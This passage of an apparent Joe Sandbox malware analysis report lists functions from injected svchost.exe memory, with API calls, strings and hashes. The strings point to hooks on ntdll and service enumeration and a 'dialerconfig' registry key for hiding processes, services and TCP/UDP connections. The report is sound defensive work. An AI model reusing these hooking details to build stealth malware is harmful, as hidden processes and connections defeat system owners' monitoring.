GetLastError.KERNEL32 ref: 000002295D57073D

Strings

U, xrefs: 000002295D5706C7

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 1165dc7b861e08b73f9ddd0575140fde1ab06b2083633807e1a2c32ed641343a
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: BD41A372314A80A5EB619F6DE4593AAA7A0F3887D4F904025FE4D87798EF3CC592CB50

Function 000002295D56D6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002295D56D6F9
LCMapStringW.KERNEL32 ref: 000002295D56D781

Strings

LCMapStringEx, xrefs: 000002295D56D6DC, 000002295D56D6ED

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: b6ec0e3822f44f4974ba45c3b4ad031aafea858d39a4be114183cc4bad7c1915
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 4211F736708B9096DB618B5AB44429AB7A4F789BD0F944126EACD83B59DF38C4A1CB40

Function 000002295D5694A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002295D5694E8
RaiseException.KERNEL32 ref: 000002295D56952E

Strings

csm, xrefs: 000002295D56951B

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: 4206efeffc6ca744a8ee94f67e3cfb921d441615101c791e442dbefb7a6d9b88
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: 4B111F32214B8092EB618F59F44425977A5F788B98F584225EF9D0B768DF38C5A6CB00

Function 000002295D56D65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002295D56D68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000002295D56D6A7

Strings

InitializeCriticalSectionEx, xrefs: 000002295D56D681

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: ec8b7fb54daf39842dfd8d2727fb0fe77053afe0efa68e6c8063deca0273b5df
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: B0F08921710790A1FB175BD9F4485556321A788BD0FE85416FA5903B5CCE38C5F6C720

Function 000002295D56D608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002295D56D631
TlsSetValue.KERNEL32 ref: 000002295D56D648

Strings

FlsSetValue, xrefs: 000002295D56D61E

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: b9f947fcaab863fd034a458c7f8bf2b871c006b774413eff4daedb7773ba97b7
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: F9E0E561310640B1FE175BD9F84D6A56262AB887C0FE89526F6590635DCE38C8F7C720

Function 000002295D53CB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002295D53CBC5

Strings

November, xrefs: 000002295D53CBA8, 000002295D53CBB2
October, xrefs: 000002295D53CBBE

Memory Dump Source

Source File: 0000001D.00000002.2926248027.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d530000_svchost.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: 422ad1516d5ea61ae22fb89c8dd9457b7e4e0eded744485d61e6f54fbbe180c5
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 58E09221308941B2EA079FDDF44C2E472619F94740FE9A021F9190625EDE3CC8F78361

Function 000002295D561D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002295D561D9B
HeapAlloc.KERNEL32 ref: 000002295D561DAA
GetProcessHeap.KERNEL32 ref: 000002295D561E1E
HeapFree.KERNEL32 ref: 000002295D561E2C

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: d49fae6660e039afaef4af6e963e2af9471fcf4aa3129fb68c4f1e8e86d27fa2
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: B7218322705B8095EF128F9DF40866AF7A0FB84BA4F954120EE8C47B18EE78C5A3C710

Function 000002295D561274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002295D56127A
HeapAlloc.KERNEL32 ref: 000002295D561289
GetProcessHeap.KERNEL32 ref: 000002295D5612A3
HeapAlloc.KERNEL32 ref: 000002295D5612B4

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 6d1deb667d001a1ddb2ab59ec8eef6bc1084919400beab451ae0fb92074640fd
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 1EE06D71711600D6F7058FAAD8083493BE1FB89FA1F98C024CA1907354DF7D84EAC760

Analysis Process: svchost.exePID: 592, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	68
Total number of Limit Nodes:	2

Executed Functions

Function 0000025306E63458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000025306E6347A
PathFindFileNameW.SHLWAPI ref: 0000025306E63489

Part of subcall function 0000025306E63930: StrCmpNIW.SHLWAPI ref: 0000025306E63948

Part of subcall function 0000025306E63878: GetModuleHandleW.KERNEL32 ref: 0000025306E63886
Part of subcall function 0000025306E63878: GetCurrentProcess.KERNEL32 ref: 0000025306E638B4
Part of subcall function 0000025306E63878: VirtualProtectEx.KERNEL32 ref: 0000025306E638D6
Part of subcall function 0000025306E63878: GetCurrentProcess.KERNEL32 ref: 0000025306E638F4
Part of subcall function 0000025306E63878: VirtualProtectEx.KERNEL32 ref: 0000025306E63915

CreateThread.KERNEL32 ref: 0000025306E634D7

Part of subcall function 0000025306E61EB4: GetCurrentThread.KERNEL32 ref: 0000025306E61EBF

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: b4f454186f7518bad22eb1b959e946b12c2d53c60afc66e4c5c4ed66010226e7
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 81117C34610F6181F761D7A1AF0E39A6690B7943C7F443029A9168B1DCEF7AC245C208

Function 0000025306E61C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000025306E61650: GetProcessHeap.KERNEL32 ref: 0000025306E6165B
Part of subcall function 0000025306E61650: HeapAlloc.KERNEL32 ref: 0000025306E6166A
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E616DA
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E61707
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E61721
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E61741
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E6175C
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E6177C
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E61797
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E617B7
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E617D2
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E617F2

Sleep.KERNEL32 ref: 0000025306E61C43
SleepEx.KERNEL32 ref: 0000025306E61C49

Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E6180D
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E6182D
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E61848
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E61868
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E61883
Part of subcall function 0000025306E61650: RegOpenKeyExW.ADVAPI32 ref: 0000025306E618A3
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E618BE
Part of subcall function 0000025306E61650: RegCloseKey.ADVAPI32 ref: 0000025306E618C8

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: c96dbdf56c7b06dc75e875730af0182cb125b9de197d4399fdb0d2334372bebe
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: AB31F175200F2191FB52DFBAEF4939E12A4AB44BC7F047425AE09C76DEEE34CA50C658

Function 0000025306E63930 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 0000025306E63948

Strings

dialer, xrefs: 0000025306E63941

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction ID: d1cd3ae0d87e9f1448effe114ad9020b15a3ec25e0177666e4fb2723d12cce83
Opcode Fuzzy Hash: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction Fuzzy Hash: B2D05E24311B5B86EB64DFE59D892652350AB047DAF44B1208A010319DDB289A8DCB18

Function 00000253067D2908 Relevance: 1.7, APIs: 1, Instructions: 186
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000253067D2A31

Memory Dump Source

Source File: 0000001E.00000002.2922053570.00000253067D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000253067D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_253067d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: c1b1a8673df87b556c8a500f35a566ad28f2268a4018f20ed08d70a0e42731f4
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 28610222301B6087EA68CF159848778B3A1FB44FD5F549825DF29877CBEA38DA53C708

Non-executed Functions

Function 0000025306E62CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000025306E62D80
lstrlenW.KERNEL32 ref: 0000025306E62FBA

Part of subcall function 0000025306E61A14: OpenProcess.KERNEL32 ref: 0000025306E61A3A
Part of subcall function 0000025306E61A14: K32GetModuleFileNameExW.KERNEL32 ref: 0000025306E61A58
Part of subcall function 0000025306E61A14: PathFindFileNameW.SHLWAPI ref: 0000025306E61A67
Part of subcall function 0000025306E61A14: lstrlenW.KERNEL32 ref: 0000025306E61A73
Part of subcall function 0000025306E61A14: StrCpyW.SHLWAPI ref: 0000025306E61A86
Part of subcall function 0000025306E61A14: CloseHandle.KERNEL32 ref: 0000025306E61A94

GetProcAddress.KERNEL32 ref: 0000025306E62D95

Part of subcall function 0000025306E61554: StrCmpIW.SHLWAPI ref: 0000025306E61585

Part of subcall function 0000025306E63930: StrCmpNIW.SHLWAPI ref: 0000025306E63948

StrCmpNIW.SHLWAPI ref: 0000025306E62DD8
lstrlenW.KERNEL32 ref: 0000025306E62F00

Strings

ntdll.dll, xrefs: 0000025306E62D79
\Device\Nsi, xrefs: 0000025306E62DCB
NtQueryObject, xrefs: 0000025306E62D8B

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 3515bfe7e7b7ab6fad81b4b4882aab1bc66bcefd9e350348560311820e22c634
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: 4AB19E32210FA085EBA5CFA5CA4879963A5F744BC6F547026FE09577D8EB35CB44C348

Function 0000025306E67E70 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000025306E67E8C
RtlCaptureContext.NTDLL ref: 0000025306E67EB9
RtlLookupFunctionEntry.NTDLL ref: 0000025306E67ED3
RtlVirtualUnwind.NTDLL ref: 0000025306E67F14
IsDebuggerPresent.KERNEL32 ref: 0000025306E67F68
SetUnhandledExceptionFilter.KERNEL32 ref: 0000025306E67F89
UnhandledExceptionFilter.KERNEL32 ref: 0000025306E67F94

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: 3860ca3a9ccc4f61de5fab1c6314edb5ee6f2e5bc74b540e0860344737e3c341
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 98315D72204F9096EB60CFA0E8447EE73A4F784789F44542ADA4D47B99EF38C648C714

Function 0000025306E6B50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000025306E6B585
RtlLookupFunctionEntry.NTDLL ref: 0000025306E6B59D
RtlVirtualUnwind.NTDLL ref: 0000025306E6B5D8
IsDebuggerPresent.KERNEL32 ref: 0000025306E6B611
SetUnhandledExceptionFilter.KERNEL32 ref: 0000025306E6B61B
UnhandledExceptionFilter.KERNEL32 ref: 0000025306E6B626

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: c2c13218c38687dcfdc11253ecaceb8b1c89b9e748cfc14e941e563b52236888
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 8631BC32214F9086EB60CF64EC4839E73A4F7887D9F501126EA9D47BA9EF38C655CB04

Function 0000025306E6FEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000025306E6FF67
WriteFile.KERNEL32 ref: 0000025306E7021E
WriteFile.KERNEL32 ref: 0000025306E70270
GetLastError.KERNEL32 ref: 0000025306E70372
GetLastError.KERNEL32 ref: 0000025306E703D2

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: 6e2a37bc13749d6f93b8863db0506f35e17443190fa809c6a389f22584975dec
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: CDE121B2714BA09AE700CFA4DA882DE7BB1F3457C9F106116EE4A57BDDDA34C61AC704

Function 0000025306E61650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000025306E6165B
HeapAlloc.KERNEL32 ref: 0000025306E6166A

Part of subcall function 0000025306E61274: GetProcessHeap.KERNEL32 ref: 0000025306E6127A
Part of subcall function 0000025306E61274: HeapAlloc.KERNEL32 ref: 0000025306E61289
Part of subcall function 0000025306E61274: GetProcessHeap.KERNEL32 ref: 0000025306E612A3
Part of subcall function 0000025306E61274: HeapAlloc.KERNEL32 ref: 0000025306E612B4

RegOpenKeyExW.ADVAPI32 ref: 0000025306E616DA
RegOpenKeyExW.ADVAPI32 ref: 0000025306E61707
RegCloseKey.ADVAPI32 ref: 0000025306E61721
RegOpenKeyExW.ADVAPI32 ref: 0000025306E61741
RegCloseKey.ADVAPI32 ref: 0000025306E6175C
RegOpenKeyExW.ADVAPI32 ref: 0000025306E6177C
RegCloseKey.ADVAPI32 ref: 0000025306E61797
RegOpenKeyExW.ADVAPI32 ref: 0000025306E617B7
RegCloseKey.ADVAPI32 ref: 0000025306E617D2
RegOpenKeyExW.ADVAPI32 ref: 0000025306E617F2
RegCloseKey.ADVAPI32 ref: 0000025306E6180D
RegOpenKeyExW.ADVAPI32 ref: 0000025306E6182D
RegCloseKey.ADVAPI32 ref: 0000025306E61848
RegOpenKeyExW.ADVAPI32 ref: 0000025306E61868
RegCloseKey.ADVAPI32 ref: 0000025306E61883
RegOpenKeyExW.ADVAPI32 ref: 0000025306E618A3
RegCloseKey.ADVAPI32 ref: 0000025306E618BE
RegCloseKey.ADVAPI32 ref: 0000025306E618C8

Part of subcall function 0000025306E612C8: RegQueryInfoKeyW.ADVAPI32 ref: 0000025306E61326
Part of subcall function 0000025306E612C8: GetProcessHeap.KERNEL32 ref: 0000025306E61334
Part of subcall function 0000025306E612C8: HeapAlloc.KERNEL32 ref: 0000025306E61345
Part of subcall function 0000025306E612C8: RegEnumValueW.ADVAPI32 ref: 0000025306E613A1
Part of subcall function 0000025306E612C8: GetProcessHeap.KERNEL32 ref: 0000025306E613E9
Part of subcall function 0000025306E612C8: HeapAlloc.KERNEL32 ref: 0000025306E613F7
Part of subcall function 0000025306E612C8: GetProcessHeap.KERNEL32 ref: 0000025306E6141B
Part of subcall function 0000025306E612C8: HeapFree.KERNEL32 ref: 0000025306E61429
Part of subcall function 0000025306E612C8: lstrlenW.KERNEL32 ref: 0000025306E61432
Part of subcall function 0000025306E612C8: GetProcessHeap.KERNEL32 ref: 0000025306E61440
Part of subcall function 0000025306E612C8: HeapAlloc.KERNEL32 ref: 0000025306E6144E

Strings

tcp_remote, xrefs: 0000025306E61861
process_names, xrefs: 0000025306E61775
service_names, xrefs: 0000025306E617EB
pid, xrefs: 0000025306E6173A
tcp_local, xrefs: 0000025306E61826
SOFTWARE\dialerconfig, xrefs: 0000025306E616BA
startup, xrefs: 0000025306E616FD
udp, xrefs: 0000025306E6189C
paths, xrefs: 0000025306E617B0

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 1ca94f53232ef8e48d711fb1114ee597262955cfd922d9b6dab6240cd3b83986
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: 44710936310F6085EB50DFA9ED5869E27A5F785BCAF002121EA4D47AACEF38C644D308

Function 0000025306E612C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000025306E61326
GetProcessHeap.KERNEL32 ref: 0000025306E61334
HeapAlloc.KERNEL32 ref: 0000025306E61345
RegEnumValueW.ADVAPI32 ref: 0000025306E613A1

Part of subcall function 0000025306E61554: StrCmpIW.SHLWAPI ref: 0000025306E61585

GetProcessHeap.KERNEL32 ref: 0000025306E613E9
HeapAlloc.KERNEL32 ref: 0000025306E613F7
GetProcessHeap.KERNEL32 ref: 0000025306E6141B
HeapFree.KERNEL32 ref: 0000025306E61429
lstrlenW.KERNEL32 ref: 0000025306E61432
GetProcessHeap.KERNEL32 ref: 0000025306E61440
HeapAlloc.KERNEL32 ref: 0000025306E6144E
StrCpyW.SHLWAPI ref: 0000025306E61470
GetProcessHeap.KERNEL32 ref: 0000025306E61485
HeapFree.KERNEL32 ref: 0000025306E61493

Strings

d, xrefs: 0000025306E61365

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: ea4cb44b8d4bc1762c3c9b222dcaff4fb0d6d3fdd8569e23f7a8df9a4e3e2995
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: D6519E72204F94D3EB54CFA6EA4839AB7A1F788BC5F049124DB4907B98DF38C25AC704

Function 0000025306E61EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000025306E61EBF

Part of subcall function 0000025306E62174: GetModuleHandleA.KERNEL32 ref: 0000025306E6218C
Part of subcall function 0000025306E62174: GetProcAddress.KERNEL32 ref: 0000025306E6219D

Part of subcall function 0000025306E65C10: GetCurrentThreadId.KERNEL32 ref: 0000025306E65C4B

Strings

NtDeviceIoControlFile, xrefs: 0000025306E61FF6
ntdll.dll, xrefs: 0000025306E61ECD
NtEnumerateKey, xrefs: 0000025306E61F59
EnumServicesStatusExW, xrefs: 0000025306E61FB1, 0000025306E61FD2
NtQueryDirectoryFile, xrefs: 0000025306E61F1F
advapi32.dll, xrefs: 0000025306E61F97, 0000025306E61FB8
NtQueryDirectoryFileEx, xrefs: 0000025306E61F3C
NtQuerySystemInformation, xrefs: 0000025306E61EE5
NtResumeThread, xrefs: 0000025306E61F02
EnumServiceGroupW, xrefs: 0000025306E61F90
NtEnumerateValueKey, xrefs: 0000025306E61F76
sechost.dll, xrefs: 0000025306E61FD9

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: f8434084b60d2490b86668ea946a91a06060f361aa750efe63ceeef58b7f8a35
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: 9831A274210F6AA4FA04EFE8EF596D92721B7543C7F807423A6191B1ED9E39835DC388

Function 0000025306E623F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000025306E62405
GetCurrentProcessId.KERNEL32 ref: 0000025306E6240F

